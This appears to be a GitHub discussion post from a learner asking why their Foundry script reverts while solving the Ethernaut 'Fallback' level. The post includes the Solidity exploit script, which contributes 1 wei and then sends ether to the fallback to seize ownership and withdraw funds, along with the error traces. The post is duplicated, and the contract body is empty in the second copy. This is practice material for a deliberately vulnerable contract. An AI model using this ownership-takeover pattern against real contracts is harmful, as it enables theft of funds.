You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Hi, I am new to the web3 community and recently started interacted with Foundry. I got introduced to Ethernaut to practice my knowledge. I've set up everything. I've written my code, checked all address, set up the testnet but when I start to compile my contract I get this error:
' ' '
[⠊] Compiling...
No files changed, compilation skipped
Traces:
[305458] → new FallbackSolution@0x9f7cF1d1F558E57ef88a59ac3D47214eF25B6A06
└─ ← [Return] 1415 bytes of code
I am currently solving the Fallback contract and this is my contract code solution:
' ' '
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/Fallback.sol"; // Ensure this path is correct and the Fallback contract exists at this location
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract FallbackSolution is Script {
Fallback public fallbackInstance = Fallback(payable(0xD526d23Ef31042dE670d3DE38582d15eDA76ECdE));
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Calling contribute...");
fallbackInstance.contribute{value: 1 wei}();
console.log("Contribute called successfully.");
console.log("Sending Ether to fallback function...");
(bool success, ) = address(fallbackInstance).call{value: 1 wei}("");
require(success, "Fallback call failed");
console.log("Ether sent successfully.");
console.log("New Owner: ", fallbackInstance.owner());
console.log("My Address: ", vm.envAddress("MY_ADDRESS"));
console.log("Calling withdraw...");
fallbackInstance.withdraw();
console.log("Withdraw called successfully.");
vm.stopBroadcast();
}
}
' ' '
I don't know how I am supposed to resolve this issue.
reacted with thumbs up emoji reacted with thumbs down emoji reacted with laugh emoji reacted with hooray emoji reacted with confused emoji reacted with heart emoji reacted with rocket emoji reacted with eyes emoji
-
Hi, I am new to the web3 community and recently started interacted with Foundry. I got introduced to Ethernaut to practice my knowledge. I've set up everything. I've written my code, checked all address, set up the testnet but when I start to compile my contract I get this error:
' ' '
[⠊] Compiling...
No files changed, compilation skipped
Traces:
[305458] → new FallbackSolution@0x9f7cF1d1F558E57ef88a59ac3D47214eF25B6A06
└─ ← [Return] 1415 bytes of code
[8299] FallbackSolution::run()
├─ [0] VM::envUint("PRIVATE_KEY") [staticcall]
│ └─ ← [Return]
├─ [0] VM::startBroadcast()
│ └─ ← [Return]
└─ ← [Revert] EvmError: Revert
Gas used: 29363
Error: script failed:
' ' '
I am currently solving the Fallback contract and this is my contract code solution:
' ' '
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/Fallback.sol"; // Ensure this path is correct and the Fallback contract exists at this location
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract FallbackSolution is Script {
}
' ' '
I don't know how I am supposed to resolve this issue.
Beta Was this translation helpful? Give feedback.
All reactions